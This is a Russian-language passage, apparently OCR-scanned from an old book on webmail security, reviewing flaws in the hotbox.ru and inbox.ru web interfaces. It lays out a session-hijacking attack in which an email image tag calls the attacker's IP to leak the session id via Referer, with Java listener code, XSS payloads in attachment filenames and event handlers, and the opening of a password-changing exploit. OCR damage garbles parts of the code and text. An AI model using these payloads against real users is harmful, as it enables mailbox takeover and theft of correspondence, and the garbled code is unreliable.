Раздел: Документация
0 ... 38 39 40 41 42 43 44 ... 169 Как уже было отмечено, во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) и, разумеется, IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик, оказалось возможным зайти с другого адреса, например, после обрыва соединения! Более того, не требовалось и поддержки «пирожков» (хотя узнать их при возможности выполнить скрипт проблемой не являлось). Фактически, для несанкционированного просмотра ящика достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег, провоцирующий браузер на автоматическое обращение к машине атакующего (например, с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика < img пгика: порт/anyname.gif width=l height=l >), и, дождавшись, пока жертва зайдет читать почту, посмотреть полев заголовке пришедшего запроса! GET /anyname.gif НТТР/1.0 Rеfегег: http: //www.hotbox. ru/message .php-?id=b04bl3da32e6345bc 2b9bc72fl9014cf&index=6&array index=5 Connection: Keep-Alive Пример Java-утилиты для прослушивания порта. type sserv.java importiJava.io.* import java.net.* import java.util.* public class sserv { public static void main(String args[j) { ServerSocket ss Socket s InputStream try { ss = new ServerSocket (80); // Номер слушаемого порта. 125 s - ss.acceptO is = s.getlnputStream () byte buf[] = new byte[512] int lenght = is.read(buf) System.out.write(buf,0,lenght) is.close () }catch (Exceptionioe>) System.out.println(ioe.toString()); } } // end main } //end sserv : javac ssev.Java : java sserv Атакующему осталось только отключить поддержку cookies в своем браузере, полностью набрать указанный в Referer адрес и параллельно «работать с почтой» (почитать письма, установить пересылку...), пока хозяин не выйдет из нее. Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придется отправить дополнительное письмо с кодом подтверждения). Примеры ошибок фильтрации: Не фильтруются теги в именах присоединенных файлов: Content-Type: text/html; charset-us-arcii; name=»test.html» Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=»tescript> location.href=location.href.replace («index»,»actionID -lsindex»); < /script > st.html» Приведенный пример автоматически удалит пришедшее «зараженное» письмо после выполнения каких-то действий. Не фильтруются также обработчики событий, например: 126 127 < img src=images-3/»about:апу» height=1600 width=1600 onMouseOver- любой код для эксплойта; return true;!>,. Скрипты, записанные в эти поля выполнятся сразу после открытия письма или первого движения мыши в письме. Есть и другие дырки. Окончательным свидетельством небрежного подхода разработчиков к Веб-интерфейсу стало хранение данных в cookies: при включенной опции «запомнить пароль» — последний сохраняется в виде plain text без какой-либо шифровки вместе с логином! Итог. В принципе, идеи заложеныподвели неаккурат- ность и стремление сделать работу поудобнее. Если не пользоваться веб-интерфейсом, работая по защищенным почтовым протоколам ч/з Outlook Express, то безопасность будет существенно выше, чем у конкурентов. Конечно, при условии, что остальные возможности не реализованы так же «аккуратно». lnbox.ru Заявленные возможности. Размер почтового ящика — 2 Mb. Возможность работы по WWW-интерфейсу. Поддерживает стандартные протоколы РОРЗ и SMTP для работы с почтовыми программами. Поддерживает пересылку. Поддерживает фильтрацию. Встроенной антивирусной проверки нет. Защищённых соединений, увы, не поддерживает. История. Сервис появился в 1998 году, основан на модифицированном ПО, разработанном mail.ru. Безопасность. Очевидные недостатки: - Смена пароля и установка пересылок никак не защищены (подтверждения паролем не требует, место отсылки формы не проверяется). - Пропускает скрипты в имени присоединенных файлов (кроме .htni-BCKiix), что делает отбор ящика элементарным. Ниже дан пример простейшего эксплойта (без маскировки), меняющего пароль при открытии письма. Размещаете на Веб-страничке любого общедоступного сервиса отредактированный файл editprofil.html (приведенный ниже). В отсылаемом письме редактируете строку, содержащую имя 0 ... 38 39 40 41 42 43 44 ... 169
|